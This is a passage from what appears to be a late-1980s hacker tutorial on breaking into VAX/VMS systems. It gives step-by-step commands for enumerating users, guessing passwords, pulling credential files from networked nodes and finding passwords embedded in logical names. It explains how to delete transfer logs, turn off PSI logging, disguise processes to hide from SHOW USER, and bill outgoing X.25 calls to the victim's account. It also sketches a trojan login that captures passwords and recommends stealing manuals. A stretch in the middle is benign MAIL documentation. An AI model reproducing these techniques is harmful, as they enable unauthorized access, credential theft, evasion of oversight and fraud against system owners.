-
- $mc psiauthorize
-
- When you get the PSI-authorize prompt, type:
-
- PSI-authorize> show /id *
-
- This will list all the users on the system. The drawback to this method is that
- the system that you are on, may have taken out the PSI utilities from the
- system directory. The PSI utilities are used mainly for remotely connecting
- to other mainframes.
- A third method to get a listing of all the users is to go through the sysuaf
- database. On most accounts this is usually not possible , since most users do
- NOT have read/write access to sysuaf.dat. If you DO have access to this file
- (ie you have readall or setprv etc) then you can run authorize:
-
- $sd sys$system
- $run authorize
-
- Then when you get the UAF prompt, type:
-
- UAF>show [*,*] /brief
-
- The added bonus of doing it this way is that you can also find out things such
- as the users home directory, when was the last time they logged in, what their
- privileges are etc. Easy to isolate the good accounts on the system that you
- may want to hack at. It should be noted however, that if you CAN perform this
- command, then you also have the priv's to create your own user, or better yet
- change the password on an inactive account.
- There is another possibility that sometimes works on many systems. Often, the
- system manager uses the LIST command from AUTHORIZE and what it does is produce
- a user listing in the file called: SYSUAF.LIS in the SYS$SYSTEM directory. If
- he has done this, unless he explicitly changes the protection on the file, this
- file has WORLD READ access. In other words, anyone can go in and type out the
- file. To do this try:
-
- $type sys$system:sysuaf.lis
-
- Ok so lets assume that you have used one of these methods and have come up
- with a list of all the users on the system. Now comes the tedious part. What
- you have to do is log back into the system, and try each of the names out. For
- the password, enter the same thing as you did for the username. This is a long
- and boring process depending on how large the userbase is, but it usually
- yields a few good accounts.
-
- Another interesting variation on this, is to get accounts on remote nodes that
- are linked with your VAX. To see other nodes that are accessible from your
- VAX, type:
-
- $show net
-
- This will produce a listing like:
-
-
-
- VAX/VMS Network Status for local node 2.161 NORTELCOM on 01-SEP-1989
-
- The next hop to the nearest area router is node 2.62 BELCAN
-
- Node Links Cost Hops Next Hop to Node
-
- 2.161 NORTELCOM 0 0 0 Local -> 2.161 NORTELCOM
- 2.6 JANUS 0 3 3 UNA-0 -> 2.6 JANUS
- 2.2 LUMPY 0 9 5 UNA-0 -> 2.2 LUMPY
- 2.3 SBSU 0 5 4 UNA-0 -> 2.3 SBSU
- 2.4 AURORA 0 4 4 UNA-0 -> 2.4 AURORA
-
- Total of 5 nodes.
-
-
- This is a sample output that you would see on your screen. Let me give a brief
- explanation of what each column means. The first column shows the node address
- and the NodeName. The node name is the most important to the VAX hacker since
- that is how you will be contacting the remote node. LINKS shows the number of
- logical links between the local node and each available remote node. COST shows
- the total line cost of the path to a remote node. HOPS shows the number of
- intermittent nodes plus the target node. NEXT HOP TO NODE shows the outgoing
- physical line used to reach the remote node.
-
- The important item from this list of course is the node name. By referencing
- this you can connect to other nodes. A nice technique that allows you to get
- user accounts on other nodes without actually having access to the node employs
- this idea. For example, if you want to find out the user list of a node SBSU,
- you could type:
-
- $copy sbsu::sys$system:rightslist.dat sys$login
-
- This will then transfer the rightslist from the other node to your login
- directory, giving you a list of all the users on the other system that you can
- hack out.
-
- It should be noted that copying files from another node will create a file
- on the remote node indicating your transfer. To get rid of this, log onto the
- remote node and delete the file called NETSERVER.LOG (just delete the file
- versions that you have created, and leave the others alone!)
-
- There is another useful trick that sometimes yields more USER accounts on other
- systems. Try typing:
-
- $show logical
-
- This will present you with a giant list of what seem like symbol equates. What
- you should look for in here is something that accesses a file in another system
- eg.
-
- "mainuaf"=sbsu::sys$system:sysuaf.dat
-
- Many times, a user/password combination is hidden among these definitions. To
- find these, simply search the file for occurrences where they have a nodename
- such as SBSU followed by a quote and some info. An example:
-
- "mainuaf"=sbsu"system manager"::sys$system:sysuaf.dat
-
- The important part is the info in quotes after the node name. The first item
- (before the space) is a username, and the word after the space is the password.
- It is rare to find such an occurrence, but it should not be overlooked, since
- it can sometimes yield high system level accounts. In this example, node SBSU
- has a user called SYSTEM, who's password is MANAGER.
-
-
-
- DECNET and PSI
- --------------
-
- If you do a SHOW NET and it gives you a list of other nodes, you can connect to
- these nodes using the SET HOST command. For example to connect to node SBSU:
-
- $set host sbsu
-
- This will then connect you to SBSU, and you have to go through their login
- procedure also. An interesting trick to note is, lets suppose that you have
- hacked an account out on node SBSU. What you want to find out is the DATAPAC
- or TELENET address of the machine. To do this use:
-
- $mc ncp tell sbsu sh known dte
-
- This will then give you the address of the machine, so that you can call it
- directly rather than through this VAX. You may want to do this to increase
- speed, since obviously calling through another VAX slows things down a bit.
-
- Another method which often works is to use the SHOW LOGICAL command. By
- specifying a certain table, you can sometimes get a list of the NUAs of the
- other nodes in the same cluster as your node. To do this type:
-
- $show logical/table=*psi*
-
- An alternative method which is a bit messy and requires higher privileges is to
- type out the NETCIRC.DAT file. ie:
-
- $type sys$system:netcirc.dat
-
- On all the systems that I have seen, none of them had WORLD READ access to this
- file, so it is not possible to read this with just TMPMBX and NETMBX privileges.
-
- Many times you will want to call a phone number to another machine. To do this
- use:
-
- $set host/dte txa0: /dial=number:5551212
-
- This command will dial out to 555-1212 using the terminal TXA0: To dial out a
- phone number, you MUST specify a terminal that is hooked up to a modem. To
- find out which terminals have modems type:
-
- $show device
-
- This will give you a list of devices hooked up to the VAX. Devices are 4
- character strings followed by a colon (:) The terminals that you can use are
- usually further down the list. To test the terminal for a modem, use the
- following line, which also illustrates the importance of lexicals:
-
- $write sys$output f$getdvi("txa0","tt_modem")
-
- This above line would test the terminal TXA0: to see if it has a modem attached
- If it responds with TRUE, then you have a modem, otherwise not. Note that you
- must put the terminal name in quotes, and also that you DO NOT enter the colon.
-
- If the VAX you have hacked onto is hooked up on a packet switching system such
- as DATAPAC or TELENET, then there is another USEFUL thing you can perform. To
- call out NUA's use the /X29 qualifier. For example:
-
- $set host/x29 026245400050570
-
- This would call up the NUA 026245400050570 (altos:tchh). What is interesting
- to note is that on many VAX's you can call out to foreign remote nodes such as
- in the example and the charge for the collect call is placed to the account
- through which you are logged in as. This is a safe and easy method to call out
- to PSDN's which are normally long distance from you. It should be noted that
- many system managers turn off foreign DNICs, which may limit you to calling
- only within your local DNIC.
- One precaution you may want to take when using the SET HOST/X29 command is to
- turn off logging. Although this is usually turned off, some system managers
- may buffer everything you type in and keep it in a file. To temporarily turn
- the logging off, try this:
-
- $run sys$system:psipad
-
- It will then ask for NODE: just hit RETURN, then:
-
- PSI>show log_file
-
- this will either say that buffering is off or it will give you a filename with
- a directory path. If it is not off then make a note of the file, then type:
-
- PSI>set nolog_file
-
- This will turn off the buffering. After you are through with the remote session
- be sure to turn it back on with:
-
- PSI> set log_file xxxx:[xxxx.xxxx]xxxxx.xxx
-
- All the xxx's represent the full filename path that you initially wrote down
- when you did the SHOW LOG_FILE command.
-
- I want to point out another interesting trick that sometimes works on certain
- accounts. Many a time i have encountered an account on a Vax which would simply
- allow you to call out to another node. It had no other purpose, and would
- refuse to give you DCL access. If you encounter such an account and it asks
- you to enter a nodename, try putting /x29 NUA. This technique allows you to
- dial out to remote systems via some PSS even though you do not have DCL access!
- An example:
-
- Enter nodename> /x29 026245400050570
-
- If /X29 isn't disabled, this will allow you to call that NUA.
-
- One thing to note is that not all systems allow you to call out using these
- methods. Some have /x29 disabled, others have /dial disabled etc. In order to
- overcome this barrier, it is important to know which files are involved. If
- you want to dial out, you MUST have the modem files (such as DMCL). If you want
- to dial out across a PSS, you must have the PSI utility files, and lastly if
- you wish to dial out to another node in the cluster you must have RTPAD.EXE on
- the local node and REMACP.EXE and RTTDRIVER.EXE on the remote node.
-
- One quick note about finding other VAXes that have PSI utilities on them. Often
- you may want to hack only those VAXes that have PSIPAD on them. To determine
- if a particular VAX in your cluster has the capability, issue the command:
-
- $dir NODE::sys$system:psi*.*
-
- NODE stands for the nodename that you want to check. If this returns with a
- message that no files match, then this particular VAX does not have PSI
- installed. If on the other hand it returns with several file names, then it
- does have the PSI utilities installed.
-
- This is just a VERY brief overview of the DECnet setup on VAX/VMS systems. For
- a more detailed analysis, look for my other file: 'Understanding DECnet and
- NCP'
-
-
-
- HIDING ON THE SYSTEM
- --------------------
-
- There are several methods that allow you to remain undetected once you have
- hacked onto a VAX. One of the most important things is to leave things as they
- are, in other words, do not delete files or subdirectories. You should also
- avoid leaving suspicious looking COM or EXE files that you may have created.
-
- An important ability to have is being able to hide from SHOW USER. There are
- several ways of going about this, but the simplest is to become a
- non-interactive process. Or to become a subprocess of some other
- non-interactive process such as a BATCH or NETWORK process. Although this will
- hide you from SHOW USERS, you will still be visible if someone did a SHOW
- SYSTEM. To get around this you should also specify your process name to a
- printer driver or something. For example:
-
- $show system
-
- Look for the process that has a name of "SYMBIONT_xxxx" where xxxx is a number.
- These are the printer drivers on the system. Look for the last number on the
- list and then change your own process to one higher than this number. For
- example if the last printer is 5 then type:
-
- $set proc/name="SYMBIONT_0006"
-
- At the end of this file i have enclosed a small 20 line assembler program that
- you can enter through EDIT. It allows you to hide from SHOW USER by changing
- your process to an OTHER non-interactive process. After you assemble the file,
- link it and then execute it using the RUN command. You should then copy this
- file to some rarely used directory, where no one else will notice it.
-
- OTHER PROCESSES
- ---------------
-
- So you have hacked your way in, and everything is going smooth. Now you want
- to find out what all the other people on the system are doing. There are
- several ways of finding out who else is using the system and what they are
- doing. Here i will outline some of the basic methods.
- Perhaps the simplest command that you can issue to see who else is logged in
- is the SHOW USER command.
-
- $show user
-
- a typical output might look like:
-
-
-
- VAX/VMS Interactive Users
- 1-SEP-1989 12:48:51.14
-
- Total number of interactive users=5
-
- PID Username Process Name Terminal
-
- 202000B3 DELUCAJ DELUCAJ VTA21: TTA7:
- 204000C4 <login> _vta13: VTA13: LTA8:
- 20400138 OPERATOR system monitor VTA17: OPA0:
- 2040013D POLLACK POLLACK VTA11: TTB0:
- 204000BC ENTITY FUK YOO VTA15: TTA1:
-
-
- Ok so what does all this mean?! Well lets go one column at a time. The first
- column gives you your process identification number. This is a unique number
- that is assigned to each process as it logs in. The number itself really
- doesn't matter, however it is required for certain commands. The next column
- is the username of the process. This always puts the name of the account that
- you logged in with. Sometimes you may notice that instead of a name it says
- <login> This indicates that someone is currently going through the login
- procedures under that PID. The next column is the process name. This is
- defaulted to be the same as your username, but can easily be changed. For
- example:
-
- $set proc/name="Hacker!"
-
- This will set your process name to Hacker! Since everybody will see this when
- they do a SHOW USER command, it is not recommended that you choose something
- that will give you away. In general, you leave this as the default. The next
- column shows the virtual terminal that you are logged into. The last column
- shows the physical terminal that you are logged into. It is important to check
- this last column. You should check to make sure that nobody is logged in under
- OPA0: Anyone logged in under this is using the system console, which means
- that they could possibly be watching you! Another one to note is RTxx: which
- indicates a process that is remotely logged in (ie calling in from another
- VAX or something) Other things that you should watch out for are users who are
- logged in under the SYSTEM account or any other high-privileged accounts. Any
- one of OPERATOR,OPER,SYSTEM,SYSMGR etc could mean trouble for the hacker.
-
- One thing that you may notice on some systems is that a process will be logged
- on ALL the time under the OPA0: terminal. What's going on?! Is the system
- manager there all the time? No. What happens on many systems is that the
- system manager logs into his terminal, and doesn't bother logging out at the
- end of the day, leaving his process running often for weeks at a time. There
- is no easy way to know if the guy is really there or not. There are two things
- you can do. One is to check the time that the account has been IDLE, but there
- is no easy way to check this without going into some programming. The next
- best you can do is issue the SHOW SYSTEM command. This will show all the
- processes currently running, their priority levels, how much CPU time they are
- eating up etc. A typical report may look like:
-
- $show system
-
- VAX/VMS X2EN on node DELPHI 01-SEP-1989 15:10:31.02 Uptime 0 12:06:30
-
- Pid Process Name State Pri I/O CPU Page flts Ph. Mem
-
- 22200080 NULL COM 0 0 0 16:34:12.00 0 0
- 22200088 SWAPPER HIB 16 0 0 00:03:52.53 0 0
- 22200113 ENTITY LEF 4 16505 0 00:00:12.02 8689 233
-
- :
- :
- :
- :
-
- etc etc
-
-
-
- This display can give you several important pieces of information about other
- processes. The explanation of each column:
-
- PID - the process identification number
- Proc Name - the name of the process. Note that certain non-interactive system
- processes such as NULL, SWAPPER, ERRFMT etc are always running in
- background.
- STATE - This is important. This tells you what the process is currently
- doing. HIB-hibernating, COM-computing, LEF-active, CUR- current
- PRIORITY - the higher the priority number, the higher priority it has in terms
- of accessing CPU time.
- I/O - Shows the accumulation of the direct I/O and buffered I/O
- CPU - the total amount of CPU time the process has used so far
- PAGE FLTS - page faults, number of exceptions generated. Not very useful...
- PH. MEM - amount of physical memory that the process occupies
-
- A further thing you may notice after the last column on some processes is a
- single letter. This is the process indicator, and it can be one of:
-
- B - batch job
- S - subprocess
- N - network process
-
-
- Another useful option is the ability to know which files, each of the processes
- are accessing. To accomplish this type:
-
- $show devices/files/nosystem
-
- The only problem with this command is that it will not show the filename if you
- do not have read access to it. (or the BYPASS privilege)
-
- Perhaps the most POWERFUL tool that the VAX/VMS hacker has is the System Dump
- Analyzer (SDA). An important option of this allows you to view all the process
- running on the system, what files they are accessing, their process status,
- the contents of their virtual memory (such as keyboard buffer) etc etc A VERY
- powerful command, it is started with the command:
-
- $analyze/system
-
- The only drawback with this command is that it requires the CMKRNL privilege.
- I will discuss this feature in more detail later in the file.
-
-
-
- DETACHED ACCOUNTS
- -----------------
-
- A very big security loophole which is allowed on many VMS systems are detached
- accounts. Basically what this allows you to do is cut carrier instead of
- logging out properly. Instead of logging the process out, it is left waiting
- on the system. The next user who logs in, instead of getting a Username prompt
- will get your shell ($) prompt! There are many useful things you can do with
- a detached account. The most obvious use of course is to set up a Trojan Horse
- program. Basically you write a procedure that simulates the VAX/VMS login
- sequence. After the user enters his/her username-password, you save this info
- to a file, give him a 'User authorization failure' and throw him into the real
- login sequence. He will think he mistyped something and this time when he
- tries, he will be able to log in normally. But in the meantime, you have a copy
- of his username/password combination stored away in a file, which you can later
- use!
-
-
-
- EXAMINING FILES
- ---------------
-
- Often it becomes necessary to examine a file in greater detail than provided by
- a simple TYPE command. For executable and object files there is of course the
- ANALYZE/IMAGE and ANALYZE/OBJECT commands, but often you want to have a look at
- each individual byte in the file. The best way to do this is to use the DUMP
- command. An example:
-
-
- $dump test.dat
-
-
- DUMP of file DISK0:[NORMAN]test.dat on 15-APR-1989 15:43:26.08
- File ID (3134,818,2) End of file block 1 / Allocated 3
-
- Virtual block number 1 (00000001), 512 (0200) bytes
-
- 706d6173 20612073 69207369 68540033 3.This is a samp 000000
- 73752065 62206f74 20656c69 6620656c le file to be us 000010
- 61786520 504d5544 2061206e 69206465 ed in a DUMP exa 000020
- 00000000 00000000 0000002e 656c706d mple............ 000030
- 00000000 00000000 00000000 00000000 ................ 000040
-
- :
- :
- :
-
- 00000000 00000000 00000000 00000000 ................ 0001E0
- 00000000 00000000 00000000 00000000 ................ 0001F0
-
-
- As you can see, this not only shows the ASCII interpretation, but also the HEX
- value for each byte. This can be VERY valuable in certain situations. You
- should note that since the default is HEXADECIMAL LONGWORD, the bytes seem to
- be in a backwords order. This is due to the way the machine stores numbers in
- memory: Lo-byte,LSB,MSB,Hi-byte. You can optionally specify the numbers to
- come out in decimal or also in single byte format. Example:
-
- $dump sbsu::sys$system:rightslist.dat /byte/header/decimal
-
- See the online HELP files for more detail into the various qualifiers. You
- should note that you CAN use dump to access files on OTHER nodes!
-
-
- CREATING TEXT FILES
- -------------------
-
- This isn't the best of places to put this topic, but if I don't do it now, I
- will probably forget later on, so here goes...
- Often you will need to create files on a system, such as messages to other
- hackers, notes to yourself, small DCL programs etc. The basic method is as
- follows:
-
- $create file.txt
-
- Hi this is a dumb message that i am typing just to
- see how this command works.
-
- <CTRL-Z>
-
- $
-
- Basically what is happening here is you specify a filename and an extension
- when using the CREATE command (in this case file.txt) and then the system waits
- there for you to type in something. At this point you can type whatever you
- want, and to end the message/program/memo just hit CTRL-Z. This will return you
- to the DCL prompt. This is an easy method to transmit COM files that you have
- either created or buffered from some other system. Just issue the CREATE
- command, send the file through your buffer, then hit CTRL-Z to finish it off.
-
-
-
- VAX/VMS MAIL SYSTEM
- -------------------
-
- Although it is not a good idea to use the MAIL system to send or receive
- messages (since the messages can be read by anyone with enough privs) I will
- present a brief list of what it can do. One important thing to note is that
- whenever there are MAIL messages waiting to be read, they are stored in a file
- that ends with the MAI extension. So if the account you have logged into has
- received mail, and you really want to read it for some reason, then you can do
- the following from DCL:
-
- $type mail.mai
-
- This file is not necessarily called MAIL.MAI, it could be any other name with
- a MAI extension. Aside from some header information stored at the beginning
- of each message, the rest of the message is mostly in standard ASCII and easily
- readable. Doing it this way ensures that the message remains there for the
- REAL user when he logs in. (after a message has been read, it is put into
- another area, and the user will not see it. This could make him suspicious if
- he keeps losing important mail messages!)
- Reading MAIL files can be quite useful, because sometimes important messages
- are stored here. Like i stated earlier, you shouldn't be actually using MAIL
- to read the mail since it will then get deleted, and the actual user will
- eventually notice. Also, you shouldn't use the MAIL system to send
- hacker-related information (to other hackers) because system managers can
- access your mail and read what you have to say.
- Basically you can use the MAIL facility in two ways: Interactively and
- through the shell. For ease of use I will only describe the interactive method
- since it is easier and more flexible. If you insist on doing it from the
- shell, then just call up the ONLINE HELP for the qualifiers. In any case, to
- interactively use the MAIL utility type:
-
- $mail
-
- This will respond with the prompt:
-
- MAIL>
-
- At this point you can enter the various mail commands. Following is a brief
- overview of the more important commands and concepts. At the end, I have
- provided a table with all the possible commands that can be entered here.
-
-
-
- Heres a brief list of the more important MAIL commands that I will discuss here
-
-
- SEND DIRECTORY EXTRACT
- READ[/NEW] DELETE PRINT
- FORWARD MOVE HELP
- REPLY SELECT EXIT
-
- The first command to try is the SEND command. Try sending a message to
- yourself Enter the SEND command and press RETURN. Enter your own user name at
- the prompt and press RETURN. Enter a subject at the prompt and press RETURN
- again. The following example shows how to use the SEND command:
-
- MAIL> SEND
- To:PIERCE
- Subj:Sailing
- Enter your message below. Press CTRL-Z when complete, or CTRL-C to quit:
-
- When you finish entering the text of your message, press CTRL-Z. Because you
- are sending the message to yourself, MAIL signals that you have just received a
- new message by displaying the following message:
-
- New mail on node FLAXEN from PIERCE
-
- MAIL>
-
- Now, you are ready to use the READ command. To read the message you just sent
- to yourself, enter the READ command with the /NEW qualifier and press RETURN as
- follows:
-
- MAIL> READ/NEW
-
- You must specify the /NEW qualifier with the READ command when you want to read
- new mail that arrives while you are in the Mail Utility. When you are not in
- the Mail Utility and you receive new mail, invoke MAIL to read the new message,
- you can enter the READ command without the /NEW qualifier. Or, if you wish to
- read mail that you have already read, you can enter the READ command.
-
- You can forward a copy of a mail message to another user by entering the
- FORWARD command. MAIL prompts you for the name of the user to receive the
- message. Try forwarding a copy of the message you just received back to
- yourself. Enter your own user name and press RETURN. Supply a subject when
- prompted and press RETURN MAIL signals that you have just received a new
- message. Enter the READ/NEW command to read the forwarded message.
-
- When you receive a message and want to respond to it, enter the REPLY command
- and press RETURN. MAIL displays the header information as follows:
-
- MAIL> REPLY
- To:FLAXEN::PIERCE
- Subj:RE: Using the REPLY command
- Enter your message below. Press CTRL-Z when complete, or CTRL-C to quit:
-
- When you finish typing your response, press CTRL-Z. Again, MAIL signals that
- you have just received a new message. To read the message, enter the READ/NEW
- command.
-
- When you want to see a list of all the mail messages you have collected, enter
- the DIRECTORY command and press RETURN. MAIL displays a list like the
- following:
-
- # From Date Subject
-
- 1 FORBES 1-SEP-1989 How to Write a Memo
- 2 SBSU::BERT 2-SEP-1989 Using the Printer
- 3 FROST::BASTIEN 4-SEP-1989 Chicken Kiev
-
-
- When you want to remove a message, use the DELETE command. You can either
- enter the DELETE command while you are reading the message or you can enter the
- DELETE command followed by the number of the message you want to remove. To
- remove the second message in the list, enter the following command line:
-
- MAIL> DELETE 2
-
- If you enter the DIRECTORY command after you have deleted a message (or
- messages), you see the messages marked for deletion, as follows:
-
- # From Date Subject
-
- 1 FORBES 1-SEP-1989 How to Write a Memo
- 2 (Deleted)
- 3 FROST::BASTIEN 4-SEP-1989 Chicken Kiev
-
-
- When you exit from MAIL, the messages marked for deletion disappear.
-
- The Mail Utility allows you to organize your messages by moving them into
- folders. To move a message to a folder, enter the MOVE command (while you are
- reading the message) and press RETURN. MAIL prompts you for a folder name.
- Type any name, for example, REVIEWS or JOKES or STATUS_REPORTS. MAIL also
- prompts you for a file name. You can specify the default mail file by pressing
- RETURN. A sample session demonstrating the MOVE command follows:
-
- MAIL> 2
- MAIL> MOVE
- _Folder: HACKERS
- _File: <RET>
-
- Folder HACKERS does not exist.
- Do you want to create it (Y/N, default is N)? Y
- %MAIL-I-NEWFOLDER, folder HACKERS created
-
- In this example, the folder name is HACKERS and the default mail file is
- specified. If the folder you name does not exist, MAIL asks you if you want to
- create it.
-
- Once you have created folders, you may want to move between them. To move from
- one folder to another, use the SELECT command. If you want to move to the
- HACKERS folder, enter the SELECT command as follows:
-
- MAIL> SELECT HACKERS
-
- %MAIL-I-SELECTED, 1 message selected
-
- In this example, MAIL displays a message indicating the number of messages in
- the folder.
-
- To move to a folder named JOKES, enter the following command line:
-
- MAIL> SELECT JOKES
-
- %MAIL-I-SELECTED, 32 messages selected
-
-
- You can enter the DIRECTORY command to see a list of the messages in the folder
- you just selected.
-
- When you want to move a mail message from your mail file to a sequential file
- that you can access from the DCL command level, use the EXTRACT command.
- Enter the EXTRACT command (while you are reading the message) and press RETURN.
- MAIL prompts you for the name of a file. Then, when you exit from MAIL, the
- file is listed in your directory. The following example shows how to use the
- EXTRACT command to move a mail message to a file named GAMES.DAT.
-
- MAIL> EXTRACT
- _File: GAMES.DAT
-
- %MAIL-I-CREATED, DISK:[BERGMAN]GAMES.DAT;1 created
-
- MAIL>
-
- To print a hard copy of a mail message, enter the PRINT command while you are
- reading the message and press RETURN. (When you exit from MAIL, the message
- enters the print queue.) The following example shows how to make a hard copy of
- message #4 by using the PRINT command:
-
- MAIL> 4
-
- #4 4-AUG-1989 09:39:20 MAIL
- From: SPARTA::FELLINI
- To: MARSTON
- Subj: Rydell's Reasons
-
- In reference to the meeting of July 26, I would like to explain
- Rydell's opinion more fully...
-
- MAIL> PRINT
-
- When you are ready to leave MAIL, enter the EXIT command and press RETURN.
- Any messages marked for deletion disappear. Any messages marked for printing
- enter the print queue and the following message is displayed:
-
- MAIL> EXIT
- Job MAIL (queue ATLAS_PRINT, entry 43) started on QUEUE$LPA0
-
-
- The next section is a detailed look at what is possibly the most important of
- the MAIL commands -- SEND
-
- Format: SEND [filespec]
-
- Sends a message to another user(s). Use the SEND command and the MAIL command
- interchangeably because they work the same way. MAIL prompts you first for the
- name of the user(s) to receive the message. You reply with the user name(s)
- or with the file name of a distribution list file(s), in the following format:
-
- [[nodename::]username,...] [,] [@listname[,...]]
-
- If you have entered the SET CC_PROMPT command or used the /CC_PROMPT qualifier,
- you can then specify names of users to receive carbon copies of the message at
- the CC: prompt.
-
- Next, MAIL prompts you for the subject of the mail. To avoid the "Subj:"
- prompt specify the /SUBJECT qualifier with the SEND command.
-
- You can include a file specification with the SEND command. If you specify a
- file with the SEND command, the text in that file is sent to the specified
- user(s). If you do not specify a file, MAIL prompts you for the text of your
- message.
-
- Enter the message that you want to send; then press <CTRL-Z>. Note that once
- you have typed a line and pressed RETURN, there is no way to edit it. If you
- decide not to send a message you are typing but want to stay within the Mail
- Utility, press <CTRL-C> to abort the message. You then receive the MAIL>
- prompt. CTRL-Z exits you from MAIL.
-
-
- Examples
- --------
-
- 1.
- MAIL> SEND/LAST
- To:FLIGHT::MYERS
- Subj:Geometric Concepts
- MAIL>
-
-
- This example shows how to send a copy of the last mail message you sent to a
- user named Myers on node FLIGHT.
-
- 2.
- MAIL> SEND/SELF/SUBJECT="Good Harbor"
- To:DAPPER::WAYNE
- Enter your message below. Press CTRL-Z when complete, or CTRL-C to quit:
-
-
- This example shows how to send a mail message to a user named WAYNE on node
- DAPPER. The /SELF qualifier enables MAIL to send a copy of the same message
- back to you. The subject of the message is Good Harbor. Since the /SUBJECT
- qualifier was specified, there is no Subject: heading.
-
- 3.
- MAIL> SEND
- To:BAKER,MARSTON,@SUPERVISORS
- Subject:Handling Stress
- Enter your message below. Press CTRL-Z when complete, or CTRL-C to quit:
-
-
- This example shows how to send a mail message to two users (BAKER and MARSTON)
- and a distribution list (SUPERVISORS).
-
- One of the important concepts relating to MAIL is the idea of FOLDERS. All
- mail files are subdivided into folders. By default, your mail file (MAIL.MAI)
- contains a folder called MAIL. The MAIL folder contains messages that you have
- already read. When you receive new mail messages, they automatically enter
- into a folder named NEWMAIL. After you read the messages in the NEWMAIL
- folder, they automatically move into the MAIL folder and the NEWMAIL folder
- disappears. When you delete a message it automatically moves into the
- WASTEBASKET folder. Deleted messages collect in the WASTEBASKET folder until
- you empty it. To emtpy the WASTEBASKET, enter either: EXIT or PURGE You can
- create as many folders as you want. You always know which folder you are
- currently in because the name of the folder is displayed at the top right
- corner of the screen when you enter the READ or DIRECTORY command. You can
- enter the DIRECTORY/FOLDER command to see a display of the existing folders in
- the current mail file. (use the MOVE command for creating new folders) You can
- remove a folder by deleting all the messages that it contains.
-
- A look at a sample MAIL heirarchy:
-
-
- [mailfile1] [mailfile2] [mailfile3]
- ! ! !
- ! +-----+---------+ +----+---------+
- [folder1] [folder1] [folder2] ! !
- ! ! ! [wastebasket] [folder1]
- ! +-+-----+ message1 ! !
- message ! ! garbage1 message1
- message1 message2
-
-
- MAILFILE ---> FOLDERS ---> MESSAGES
-
-
-
- MAIL COMMANDS OVERVIEW
- ----------------------
-
- Here I have provided a listing of all the commands that you can issue from the
- mail utility and a brief description of what each one does:
-
-
- Command Description
- -----------+-------------------------------------------------------------------
- ANSWER ! Same as the REPLY command. See below
- ATTACH ! Allows you to switch to another process in your job
- BACK ! Displays the last message read
- COMPRESS ! Makes an indexed sequential mail file smaller
- COPY ! Copy a message to another folder, without deleting original
- CURRENT ! Displays the beginning of the message you are currently reading
- DEFINE ! Allows you to define keys as macros
- DELETE ! Delete a message
- DIRECTORY ! Displays a list of the messages in the current folder
- EDIT ! Enables you to edit a message before it is sent
- ERASE ! Clears the screen
- EXIT ! Exits from the MAIL utility
- EXTRACT ! Places a copy of the current message into a sequential file
- FILE ! Moves the current message to the specified folder
- FIRST ! Displays the first message in the current folder
- FORWARD ! Sends a copy of the message you just read to another user
- KEYPAD ! Define the keypad
- LAST ! Displays the last message in the current folder
- MAIL ! Sends messages to another user. Identical to the SEND command
- MOVE ! Moves the current message to the specified folder
- NEXT ! Skips to the next message and displays it
- PRINT ! Dumps messages to the PRINTER
- PURGE ! Deletes all messages in the WASTEBASKET folder
- QUIT ! Quits MAIL without deleting messages in WASTEBASKET
- READ ! Displays your messages
- REPLY ! Sends a message to the sender of the message you are reading
- SEARCH ! Searches the current folder for the message containing a string
- SELECT ! Allows you to switch to another folder
- SEND ! Send a message to another user
- SET-SHOW ! Review or Modify various characteristics of the MAIL utility
- SPAWN ! Create a sub-process. Often useful to the hacker...
- -----------+-------------------------------------------------------------------
-
-
- COMPILING PROGRAMS
- ------------------
-
- Once you are comfortable with the VAX/VMS operating system, you will probably
- want to write yourself some useful little hacker utility programs. Although
- many can be simply written as DCL script files, often the occasion arises where
- the use of a high-level language is necessitated. Through a high-level
- language you have full access to the system services, as well as a lot more
- control of what you want the VAX to do. Here I will very briefly show how to
- write, compile and execute a basic program. Creating executable files in other
- languages follows the same overall procedures: To activate basic from the shell
- type:
-
- $basic
-
- This should put you into the VAX-BASIC environment, and the terminal will print
- READY on your screen. If just typing BASIC doesn't work, you may want to try:
-
- $mc basic
-
- This sometimes works, but it should be noted that BASIC is not found on all
- VAX's. Some have it, some don't. In any case, whenever you are editing a
- program, you should never leave source code lying around. The best way is to
- edit the file on an online buffer editor, and then transmit the file. It
- should always be done in this manner unless your file is VERY large, and it
- would be cumbersome to keep uploading it. If you must, then to save your
- creation onto the VAX, just type:
-
- save "filename"
-
- This will save the source code with a .BAS extension. You should rename this &
- hide it in some seldom checked directory. After you have finalized your coding
- you should create an executable file, download your source code, and then
- delete the one online. To create an executable file, first you must exit back
- to DCL, do this by typing EXIT. Then once in DCL type:
-
- $compile filename.bas
- $link filename
- $delete filename.obj;*
-
- Note that you can link multiple OBJ files together, just like in MS-DOS. It
- should also be noted that to create truly useful programs you will need to get
- your hands on a system services manual. Through the system services you can
- gain all kinds of information about the system and any nodes that it is hooked
- up to.
-
- NOTE: type HELP in BASIC to get a complete list of all the commands and syntax
-
-
- ATTAINING MANUALS
- -----------------
-
- As you can see, if you are going to get anywhere, you will have to get your
- hands on some manuals. Perhaps the best book you should invest in is "VAX/VMS
- INTERNALS AND DATA STRUCTURES". This book concentrates on explaining all the
- data structures as well as all the system service calls and how everything
- basically works inside a VAX. Once you have read and understood this book,
- VAX/VMS kernal programming should become a snap. Its available at most big
- bookstores but it costs about $130 (Canadian funds). You may also want to look
- at your local library or University library, since they usually carry this book
- and other ones you may want to grab. Aside from these places the next best
- place to get major information is from the actual VAX/VMS manuals.
-
- Unfortunately these cannot be bought at any store. However there are several
- ways you can get your hands on one. One method is to go work at a company
- during the summer that uses VAX'es. Then just grab the manuals or better yet,
- photocopy them. (be forewarned though. Theres several thousand pages worth of
- useful info!) Or if you know someone else who works at such an establishment,
- you can get them to heist the manuals for you. Other good techniques are
- taking guided tours of offices of large corporations. This is the BEST method,
- because you can usually pick up a lot of stuff. Just make sure you go with a
- friend (to distract the guide, lookout etc) and carry a school bag with you.
- When they get to the computer room, start looking around. Usually they will
- have the manuals in some big shelf somewhere. Just grab yourself whatever you
- need. Also keep a lookout for other useful info laying around such as system
- accounts, dialups etc If you really need to find the number of a VAX and you
- don't see it posted anywhere, then you should get yourself a cheap little
- phone. (you know those K-MART $4.99 jobs) Take the phone plug out of the jack,
- plug in your phone and dial up your local ANI. This will give you the phone
- number to the dialup. It should be noted that not all VAX's allow remote
- logins. This can be adjusted from the SYSUAF setup via the AUTHORIZE program.
-
- Local ANI's for TORONTO are:
-
- 997-8123
- 997-1234
- 997-1699
-
- If you don't have any Local ANI's, then just ask around on your local
- PHREAK/HACK boards.
-
-
-
- CREATING/MODIFYING ACCOUNTS
- ---------------------------
-
- The job of creating, modifying and deleting users is performed via the image
- AUTHORIZE. This program is always found in the sys$system directory, and
